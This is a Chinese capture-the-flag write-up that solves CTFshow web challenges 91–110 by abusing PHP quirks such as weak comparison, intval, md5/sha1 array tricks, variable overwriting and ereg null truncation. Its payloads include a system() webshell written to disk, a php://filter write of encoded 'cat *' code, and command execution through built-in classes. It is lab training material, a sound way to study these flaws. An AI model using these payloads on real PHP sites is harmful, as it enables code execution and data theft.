《CTFshow-Web入门》10. Web 91~110

news2024/11/27 15:29:56

Web 入门

  • 索引
  • web91
    • 题解
    • 总结
  • web92
    • 题解
    • 总结
  • web93
    • 题解
  • web94
    • 题解
  • web95
    • 题解
  • web96
    • 题解
  • web97
    • 题解
  • web98
    • 题解
  • web99
    • 题解
    • 总结
  • web100
    • 题解
  • web101
    • 题解
  • web102
    • 题解
  • web103
    • 题解
  • web104
    • 题解
  • web105
    • 题解
    • 总结
  • web106
    • 题解
  • web107
    • 题解
  • web108
    • 题解
  • web109
    • 题解
  • web110
    • 题解


ctf - web入门

索引

  • web91:PHP 特性之 preg_match(),换行解析漏洞。
  • web92:PHP 特性之 intval()===== 的区别。
  • web93:PHP 特性之 intval()
  • web94:PHP 特性之 intval()
  • web95:PHP 特性之 intval()
  • web96:PHP 特性之 highlight_file()、字符串匹配。
  • web97:PHP 特性之 md5()
  • web98:PHP 三元运算,GET 与 POST 传参。
  • web99:PHP 特性之 in_array()
  • web100:PHP 特性之赋值运算【=】优先级。
  • web101:PHP 特性之赋值运算【=】优先级,ReflectionClass($class) 建立反射类。
  • web102:PHP 特性之赋值运算【=】优先级,is_numeric() 特性,call_user_func()hex2bin() 利用,PHP 伪协议。
  • web103:与 web102 没什么区别。
  • web104:PHP 特性之 sha1(),弱等于 ==
  • web105:PHP 特性之变量覆盖。
  • web106:PHP 特性之 sha1(),弱等于 ==
  • web107:PHP 特性之 sha1(),弱等于 ==parse_str() 利用。
  • web108:PHP 特性之 ereg() 截断漏洞。
  • web109:PHP 特性之 __toString() 与类触发。
  • web110:FilesystemIterator 类,getcwd() 利用

web91

在这里插入图片描述

题解

^ 和 $ 这种正则匹配,只匹配一行。但是正则匹配 /m 可以执行多行匹配。
所以第一层条件是多行匹配,第二层条件是单行匹配,这样就可以用换行符 %0a 绕过。

题解

URl + ?cmd=abc%0aphp

总结

正则表达式:

在这里插入图片描述

参考文章:换行解析漏洞(CVE-2017-15715)

web92

在这里插入图片描述

题解

这一题乍一看和 web90 很像。

但这里比较是两个等号(弱匹配比较),而 web90 是三个等号。

所以这题不能用除了 e 的字母绕过了。

php有个特殊的字母:e,可以表示科学计数法。
但是当intval()读取到e的时候就会停止。

法一

与 web90 一样,使用非十进制数传递:

url + ?num=010574

法二

url + ?num=4476e123

总结

php 中 ===== 的区别

两个等号是先把等号两边的变量转化成相同的类型,如果转换类型后的结果是相等的,就认为相等。

三个等号是先判断两边变量的数据类型,如果数据类型相同,再去判断两边的值,如果值相等,那么为真。

web93

在这里插入图片描述

题解

这题直接不能使用字母了。

根据 web90 的经验,直接进制转换(详见 web90)。

url + ?num=010574

web94

在这里插入图片描述

题解

  • strpos()
    查找字符串首次出现的位置。字符串位置是从0开始。

相比上一题不能用进制转换。

但是 intval() 函数可以把浮点数类型变为 int 类型。

url + ?num=4476.0

web95

在这里插入图片描述

题解

本题过滤了小数点,字符限制不能使用十六进制和 e。
但是可以使用 8 进制绕过。
可以通过加号或者空格绕过限制条件。

url + ?num=+010574

web96

在这里插入图片描述

题解

字符串匹配,加上当前目录 ./ 绕过。

url + ?u=./flag.php

web97

在这里插入图片描述

题解

根据题目,PHP md5() 函数如果传入数组,返回值将是 NULL,所以可以用数组绕过。

:post 传递数据。

a[]=1&b[]=2

web98

在这里插入图片描述

题解

题目分析:

$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/

$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/

所以目标就是 get 传参 HTTP_FLAG=flag。

get 传参就要执行第一个三元运算,所以 post 也需要传递 HTTP_FLAG=flag。

中间两个条件会返回结果 ’flag’,没有影响。

通过 get 请求与 post 请求同时传递相同参数

get 传参:

url + ?HTTP_FLAG=flag

post 传参:

HTTP_FLAG=flag

web99

在这里插入图片描述

题解

in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较。

所以这题通过 GET 传递值来命名 PHP 文件,再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。

get 传参:

url + ?n=30.php

post 传参:

content=<?php system($_POST[1]);?>

在这里插入图片描述

访问 webshell 30.php,并传递命令:

在这里插入图片描述

总结

php 函数:

  • array_push():向尾部插入元素。
  • in_array():检查数组中是否存在指定值。
  • file_put_contents():将字符串写入文件。

in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。

web100

在这里插入图片描述

题解

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

if($v0){ 

特性:赋值【=】的优先级高于逻辑运算。所以只要让 is_numeric($v1) 返回 true 即可满足 if 判断。

if(!preg_match("/\;/", $v2)){  // v2 不能含分号
	if(preg_match("/\;/", $v3)){  // v3 要含分号
		eval("$v2('ctfshow')$v3");  // 可利用注释
        } 

再根据以上代码分析,得出 payload:

url + ?v1=1&v2=var_dump($ctfshow)/*&v3=*/;

web101

在这里插入图片描述

题解

与 web100 类似,但过滤了很多字符,不能使用 web100 的方法了。

由于涉及了类,可以利用 ReflectionClass 建立反射类。

new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。

元数据对象(包含class的所有属性/方法的元数据信息)。

url + ?v1=1&v2=echo new Reflectionclass&v3=;

在这里插入图片描述

除此以外 flag 部分字符经过了 ASCII 编码,还少了一位字符,不过爆破即可。

web102

在这里插入图片描述

题解

这题饶了几个圈。根据答案逆推理顺了思路。

先看题解。

将下列中括号中的代码 base64 编码,注意末尾有一个空格。
[<?=`cat *`; ]

编码后的数据:
PD89YGNhdCAqYDsg

再将 base64 编码后的数据进行 16 进制 ASCII 编码。
编码后的数据:
5044383959474e686443417159447367

在编码后的数据前面随便加上两个占位数字,这里加 11。
115044383959474e686443417159447367

同时传递以下数据:
v1=hex2bin
v2=115044383959474e686443417159447367
v3=php://filter/write=convert.base64-decode/resource=1.php

v1 以 POST 方式传输,v2,v3使用 GET。

题解

GET 传递:

url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

POST 传递:

v1=hex2bin

在这里插入图片描述

之后访问 1.php 查看源码即可获取 flag。

在这里插入图片描述

下面分析一下:

  • call_user_func():
    用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
  • file_put_contents():
    写入内容到文件中,第一个参数是文件名,第二个参数是内容
  • hex2bin():
    把十六进制值的字符串转换为 ASCII 字符(十六进制转二进制)。
所以总的思路就是将 <?=`cat *`; 代码传递并通过伪协议写入一个 php 文件,之后访问此文件就可以执行代码读取当前目录下所有文件的内容。

为什么选择以上代码写入文件,参考下列资料:

《ctfshow学习记录-web入门(php特性99-108)》
https://blog.csdn.net/m0_48780534/article/details/125445026

web103

在这里插入图片描述

题解

与 web102 没有太大区别,沿用 web102 的解法。

正则表达式是用来检查是否存在 “php” 这个字符串的子串(不区分大小写)。

题解

GET 传递:

url + ?v2=115044383959474e686443417159447367&v3=php://filter/write=convert.base64-decode/resource=1.php

POST 传递:

v1=hex2bin

之后访问 1.php 查看源码即可获取 flag。

分析见 web102。

web104

在这里插入图片描述

题解

sha1():计算字符串的 sha1 散列值。

这题没什么好说的,简单的传递一样的值即可。

在这里插入图片描述

补充,与 web97 类似,可用数组绕过。

除此以外,值的判断是使用 ==(弱等于,详见 web92),所以找加密后 0e 开头的两个值也可以。

aaK1STfY -> 0e76658526655756207688271159624026011393

aaO8zKZF -> 0e89257456677279068558073954252716165668

web105

在这里插入图片描述

题解

这一题涉及变量覆盖。

示例:

$a='b'; 
$c='d';
$b=1; 
$d=0;
echo $a;  # 输出 b
echo $c;  # 输出 d
echo $$a; # 输出 1,即 $$a -> $b -> 1
echo $$c; # 输出 0

根据代码,尝试使用变量覆盖让 $suces$error 都等于 $flag。这样无论如何根据代码的输出都能得知 flag。

GET 传参:

url + ?suces=flag

POST 传参:

error=suces

在这里插入图片描述

总结

变量覆盖(可变变量),用于通过变量的值来动态命名变量并访问其值。

以 PHP 为例,$$a 是一种特殊的变量语法,用来实现变量覆盖:

$foo = 'bar';
$bar = 'Hello, World!';

// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar 
// 最终输出 'Hello, World!' 。
echo $$foo;

web106

在这里插入图片描述

题解

比 web104 多判断了 v1 不能等于 v2。

方法一:使用数组。

GET 传参:

url + ?v2[]=2

POST 传参:

v1[]=1

在这里插入图片描述

方法二:使用加密后 0e 开头的两个值。

aaK1STfY -> 0e76658526655756207688271159624026011393
aaO8zKZF -> 0e89257456677279068558073954252716165668

在这里插入图片描述

web107

在这里插入图片描述

题解

parse_str(string,array):把查询字符串解析到变量中。

parse_str("a=1&b=2",$array);
print_r($array);
# 输出:Array([a]=>1 [b]=>2)

所以根据代码 v1 传递内容是 v1=flag=?,具体值根据 v3 的 md5 值定。再加上是弱等于,只要 md5 加密后 0e 开头即可。

GET:

url + ?v3=QNKCDZO

POST:

v1=flag=0

web108

在这里插入图片描述

题解

  • ereg():用于执行正则表达式匹配。
  • strrev():反转字符串。
  • ereg 函数存在 NULL 截断漏洞,可以绕过正则过滤,使用 %00 截断。

0x36d,转十进制是877。

url + ?c=a%00778

web109

在这里插入图片描述

题解

这道题用到魔术方法 __toString(),不少 php 的内置类里都包含有这个方法,如 ReflectionclassExceptionErrorCachingIterator

__toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。

所以 echo 使得 v1 类触发 __toString(),v2 传递的数据被输出。

对于 v2 后面的括号,只要变量后面紧跟着(),就会对这个变量作为函数进行调用。

1、

url + ?v1=CachingIterator&v2=system(ls)

2、

url + ?v1=CachingIterator&v2=system('cat fl36dg.txt')

查看源码获取 flag。

也可以换成其他类。

web110

在这里插入图片描述

题解

过滤了很多字符,不能再用 web109 的方法。

考察:

  • php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
  • getcwd() 函数,获取当前工作目录,返回当前工作目录。

url + ?v1=FilesystemIterator&v2=getcwd

在这里插入图片描述

可以看到 flag 文件就在当前目录,直接访问获取 flag。


悔既往之失,亦要防将来之非。

——《菜根谭》(明)洪应明

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1055954.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

怒刷LeetCode的第22天(Java版)

目录 第一题 题目来源 题目内容 解决方法 方法一&#xff1a;回溯算法 方法二&#xff1a;基于位运算的回溯 第二题 题目来源 题目内容 解决方法 方法一&#xff1a;动态规划 方法二&#xff1a;分治法 方法三&#xff1a;前缀和数组 第三题 题目来源 题目内容…

通讯网关软件014——利用CommGate X2HTTP实现HTTP访问OPC Server

本文介绍利用CommGate X2HTTP实现HTTP访问OPC Server。CommGate X2HTTP是宁波科安网信开发的网关软件&#xff0c;软件可以登录到网信智汇(http://wangxinzhihui.com)下载。 【案例】如下图所示&#xff0c;SCADA系统配置OPC Server&#xff0c;现在上位机需要通过Http Client…

Springboot+Vue+Mysql实现模拟汽车保养系统(附源码)

前言 本项目基于springbootvue搭建的汽车保养的系统&#xff0c;页面较为粗糙&#xff0c;前端好的小伙伴可自行优化。 项目环境 -环境框架后端JDK1.8SpringBootmybatisPlus前端NodeJS16.0Vue2.0ElementPlus数据库MySQL8.0- 数据库设计 数据表备注banner轮播图表car用户汽…

树的表示——孩子兄弟表示法

从图中可以看出&#xff0c;树的每个结点&#xff0c;都有不确定的指向他们的孩子的节点&#xff0c;如果我们定义这样一个结构体来便是数的结构的话&#xff1a; struct TreeNode { int val; struct TreeNodep1; struct TreeNodep1; … }; 是不能够表示一棵树的&#xff0c;因…

可视化 | (一)数据基础及基本数据可视化方法

​ 文章目录 &#x1f4da;数据可视化的基本流程&#x1f4da;数据属性&#x1f4da;基本可视化图表类型&#x1f407;数据分析三规则&#x1f407;条形图&#xff08;Bar Chart&#xff09;&#x1f407;饼图&#xff08;Pie Chart&#xff09;&#x1f407;衡量易变性 (meas…

计算机网络(一):概述

参考引用 计算机网络微课堂-湖科大教书匠计算机网络&#xff08;第7版&#xff09;-谢希仁 1. 计算机网络在信息时代的作用 计算机网络已由一种通信基础设施发展成为一种重要的信息服务基础设施计算机网络已经像水、电、煤气这些基础设施一样&#xff0c;成为我们生活中不可或…

CleanMyMac X4.14.1最新和谐版下载

CleanMyMac一款macOS上非常经典的清理工具。它可以帮助用户清理垃圾文件、卸载无用应用程序、优化系统性能等。旨在帮助用户提高系统性能、释放磁盘空间并保持Mac的健康状态。 下面是CleanMyMac X软件的主要特点&#xff1a; 系统垃圾&#xff1a;清理您的系统来获得最大的性能…

CocosCreator3.8研究笔记(二十四)CocosCreator 动画系统-动画编辑器实操-关键帧实现动态水印动画效果

上一篇&#xff0c;我们介绍了动画编辑器相关功能面板说明&#xff0c;感兴趣的朋友可以前往阅读&#xff1a; CocosCreator3.8研究笔记&#xff08;二十三&#xff09;CocosCreator 动画系统-动画编辑器相关功能面板说明。 熟悉了动画编辑器的基础操作&#xff0c;那么再使用动…

Three.js:打造独一无二的3D模型可视化编辑神器!

前言 1.因为之前工作过的可视化大屏项目开发3d大屏组件模块需要用到Three.js来完成&#xff0c;其主功能是实现对3d模型的材质&#xff0c;灯光&#xff0c;背景&#xff0c;动画。等属性进行可视化的编辑操作以及模型编辑数据的存储和模型在大屏上面的拖拽显示 2.因为是第一…

不能显式拦截ajax请求的302响应?

记录工作中早该加深印象的一个小小小case&#xff1a;ajax请求不能显式拦截 302响应。 我们先来看一个常规的登录case: 1. 浏览器请求资源&#xff0c;服务器发现该请求未携带相关凭据&#xff08;cookie或者token&#xff09;2. 服务器响应302&#xff0c;并在响应头Location写…

2021-06-15 51单片机c语言秒表的仿真ISIS7 professional

缘由51单片机c语言秒表的仿真ISIS7 professional_嵌入式-CSDN问答 #include "REG52.h" sbit K1 P1^5; sbit K2 P1^6; sbit K3 P1^7; sbit K4 P1^4; sbit LED1P1^0; sbit LED2P1^1; sbit LED3P1^2; sbit LED4P1^3; bit k0; unsigned char code SmZiFu[]{63,6,91,…

IDT 一款自动化挖掘未授权访问漏洞的信息收集工具

IDT v1.0 IDT 意为 Interface detection&#xff08;接口探测) 项目地址: https://github.com/cikeroot/IDT/该工具主要的功能是对批量url或者接口进行存活探测&#xff0c;支持浏览器自动打开指定的url&#xff0c;避免手动重复打开网址。只需输入存在批量的url文件即可。 …

EM聚类(上):数据分析 | 数据挖掘 | 十大算法之一

⭐️⭐️⭐️⭐️⭐️欢迎来到我的博客⭐️⭐️⭐️⭐️⭐️ &#x1f434;作者&#xff1a;秋无之地 &#x1f434;简介&#xff1a;CSDN爬虫、后端、大数据领域创作者。目前从事python爬虫、后端和大数据等相关工作&#xff0c;主要擅长领域有&#xff1a;爬虫、后端、大数据…

Polygon Miden:扩展以太坊功能集的ZK-optimized rollup

1. 引言 Polygon Miden定位为zkVM&#xff0c;定于2023年Q4上公开测试网。 zk、zkVM、zkEVM及其未来中指出&#xff0c;当前主要有3种类型的zkVM&#xff0c;括号内为其相应的指令集&#xff1a; mainstream&#xff08;WASM, RISC-V&#xff09;EVM&#xff08;EVM bytecod…

1.3 互联网的组成

思维导图&#xff1a; 前言&#xff1a; 我的笔记&#xff1a; #### 一、总览 - **互联网的结构**&#xff1a; - 具有全球覆盖和复杂的拓扑结构。 - 即便结构复杂&#xff0c;还是可以从工作方式上简化为两大部分&#xff1a;边缘部分和核心部分。 #### 二、边缘部分 -…

免费、丰富、便捷的资源论坛——Yiove论坛,包括但不限于阿里云盘、夸克云盘、迅雷云盘等等

引言 目前资源的数量达到了60000&#xff0c;六万多的资源意味着在这里几乎可以找到任何你想要的资源。 当然&#xff0c;资源并不是论坛的全部&#xff0c;其中还包括了技术交流、福利分享、最新资讯等等。 传送门&#xff1a;YiOVE论坛 - 一个有资源有交流&#xff0c;有一…

正则表达式模块re

【小白从小学Python、C、Java】 【计算机等级考试500强双证书】 【Python-数据分析】 正则表达式模块re [太阳]选择题 下列程序输出的结果是&#xff1f; import re print("【执行】re.match(www, www.china.com)") print(re.match(www, www.china.com)) print(&quo…

环形链表[简单]

优质博文&#xff1a;IT-BLOG-CN 一、题目 给你一个链表的头节点head&#xff0c;判断链表中是否有环。 如果链表中有某个节点&#xff0c;可以通过连续跟踪next指针再次到达&#xff0c;则链表中存在环。为了表示给定链表中的环&#xff0c;评测系统内部使用整数pos来表示链…

【VIM】VIm初步使用

玩转Vim-从放弃到入门_哔哩哔哩_bilibili

csgo搬砖怎么样?steam搬砖赚钱吗?需要怎么做?

CSGO搬砖目前怎么样&#xff1f; Steam-csgo游戏搬砖已经发展了好几年。经过几年的沉淀&#xff0c;任何行业都可以继续这样做&#xff0c;这必须适合市场发展。这就是所谓的适者生存&#xff01;没有不赚钱的行业&#xff0c;只有不赚钱的头脑。有很多人通过游戏移动砖块来致富…